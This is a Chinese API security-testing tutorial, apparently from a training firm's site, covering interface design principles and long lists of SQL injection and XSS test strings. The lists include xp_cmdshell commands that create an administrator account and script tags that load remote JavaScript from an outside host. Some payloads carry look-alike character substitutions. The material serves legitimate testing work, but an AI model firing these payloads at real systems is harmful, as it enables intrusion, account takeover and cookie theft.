一、 接口測(cè)試安全場(chǎng)景
相信大家都曾經(jīng)為黃牛票而憤憤不平吧,但你只能忍氣吞聲,畢竟懂技術(shù)的流氓更可怕,像攜程加速、飛豬加速也用過吧,這種流氓更讓人無可奈何。
其實(shí)了解了接口測(cè)試,就不再去“神話“他們“黃牛逼”。
無非就是在一定的授權(quán)范圍內(nèi),不斷的批量去請(qǐng)求12306的購票端口,借助自身更大的帶寬和算力去pk我們普通用戶而已,在12306出了候補(bǔ)后,基本就沒啥用了。
安全測(cè)試說白了就是攻與防的問題,知己知彼才能百戰(zhàn)百勝。
二、 接口安全設(shè)計(jì)的原則
現(xiàn)在前后段分離式設(shè)計(jì),web系統(tǒng)、APP的接口都采用restful架構(gòu),restful最重要的一個(gè)設(shè)計(jì)原則就是客戶端與服務(wù)端的交互在請(qǐng)求之間是無狀態(tài)的,并采用token的認(rèn)證方式,以便在多端設(shè)備進(jìn)行鑒權(quán)。
1、盡量使用更安全的https協(xié)議報(bào)文
2、接口參數(shù)采用非對(duì)稱加密算法進(jìn)行簽名
3、接口參數(shù)需要校驗(yàn),如表單提交使用驗(yàn)證碼進(jìn)行校驗(yàn)
4、多次失敗后需要有鎖定機(jī)制,防止爆破
5、接口對(duì)應(yīng)用戶權(quán)限,用戶只能調(diào)用有權(quán)限的接口
6、系統(tǒng)接口做過負(fù)荷機(jī)制用來保護(hù)系統(tǒng)安全
7、接口盡量少返回服務(wù)錯(cuò)誤信息給用戶
三、 接口安全測(cè)試
1、sql注入
Sql注入可以算是最常見的一種攻擊手段了,作為測(cè)試人員,一定要熟悉各種sql注入的手段,在測(cè)試過程中就封堵這個(gè)風(fēng)險(xiǎn),當(dāng)然現(xiàn)在的很多開發(fā)框架也具備了防范sql注入的能力。
測(cè)試中,我們需要設(shè)置如下的注入案例:
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a[/code]
'and ( ) exec insert * % chr mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49);%20AND%201=2
'and 1=1 ; 'And 1=1 ; 'aNd 1=1 ;
and 1=2 ; 'and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username 已知字段)
;exec master..xp_cmdshell "net user name password /add"--
;exec master..xp_cmdshell "net localgroup name administrators /add"--
and 0<>(select count(*) from admin)
2、xss攻擊
利用XSS的攻擊者進(jìn)行攻擊時(shí)會(huì)向頁面插入惡意Script代碼,當(dāng)用戶瀏覽該頁面時(shí),嵌入在頁面里的Script代碼會(huì)被執(zhí)行,從而達(dá)到攻擊用戶的目的。同樣會(huì)造成用戶的認(rèn)證信息被獲取,仿冒用戶登錄,造成用戶信息泄露等危害。
測(cè)試中,我們需要設(shè)置如下的xss攻擊案例:
><scrīpt>alert(document.cookie)</scrīpt>
='><scrīpt>alert(document.cookie)</scrīpt>
<scrīpt>alert(document.cookie)</scrīpt>
<scrīpt>alert(helloworld)</scrīpt>
%3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E
<scrīpt>alert('XSS')</scrīpt>
<img src="javascrīpt:alert('XSS')">
<scrīpt>alert('linda is ok');</scrīpt>
<scrīpt>alert('Vulnerable')</scrīpt>
?sql_debug=1
a%5c.aspx
a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>
a/
a?<scrīpt>alert('Vulnerable')</scrīpt>
"><scrīpt>alert('Vulnerable')</scrīpt>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E
%3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&
%3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
<IMG SRC="jav ascrīpt:alert('XSS');">
<IMG SRC="jav ascrīpt:alert('XSS');">
<IMG SRC="jav ascrīpt:alert('XSS');">
"<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out
<IMG SRC=" javascrīpt:alert('XSS');">
<scrīpt>a=/XSS/alert(a.source)</scrīpt>
<BODY BACKGROUND="javascrīpt:alert('XSS')">
<BODY ōNLOAD=alert('XSS')>
<IMG DYNSRC="javascrīpt:alert('XSS')">
<IMG LOWSRC="javascrīpt:alert('XSS')">
<BGSOUND SRC="javascrīpt:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');">
<IMG SRC='vbscrīpt:msgbox("XSS")'>
<IMG SRC="mocha:[code]">
<IMG SRC="livescrīpt:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');">
SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
3、用戶賬號(hào)及暴力攻擊
用戶賬號(hào)信息是訪問系統(tǒng)獲取服務(wù)的最關(guān)鍵的一環(huán),如果泄露了信息就沒有任何安全可言,通過利用賬戶登錄接口大量猜測(cè)和窮舉的方式來嘗試獲取用戶口令。就是猜口令咯,攻擊者一直枚舉進(jìn)行請(qǐng)求,通過對(duì)比數(shù)據(jù)包的長(zhǎng)度可以很好的判斷是否爆破成功,因?yàn)楸瞥晒褪〉拈L(zhǎng)度是不一樣的,所以可以很好的判斷是否爆破成功。
作為測(cè)試人員,需要對(duì)賬戶信息進(jìn)行如下測(cè)試:
檢測(cè)接口程序連接登錄時(shí),是否需要輸入相應(yīng)的用戶
是否設(shè)置密碼最小長(zhǎng)度
用戶名和密碼中是否可以有空格或回車?
是否允許密碼和用戶名一致
防惡意注冊(cè):可否用自動(dòng)填表工具自動(dòng)注冊(cè)用戶?
遺忘密碼處理是否有校驗(yàn)碼?
密碼錯(cuò)誤次數(shù)有無限制?
大小寫敏感?
口令不允許以明碼顯示在輸出設(shè)備上
強(qiáng)制修改的時(shí)間間隔限制(初始默認(rèn)密碼)
口令的唯一性限制(看需求是否需要)
口令過期失效后,是否可以不登陸而直接瀏覽某個(gè)頁面
更多關(guān)于軟件測(cè)試培訓(xùn)的問題,歡迎咨詢千鋒教育在線名師。千鋒教育擁有多年IT培訓(xùn)服務(wù)經(jīng)驗(yàn),采用全程面授高品質(zhì)、高體驗(yàn)培養(yǎng)模式,擁有國內(nèi)一體化教學(xué)管理及學(xué)員服務(wù),助力更多學(xué)員實(shí)現(xiàn)高薪夢(mèng)想。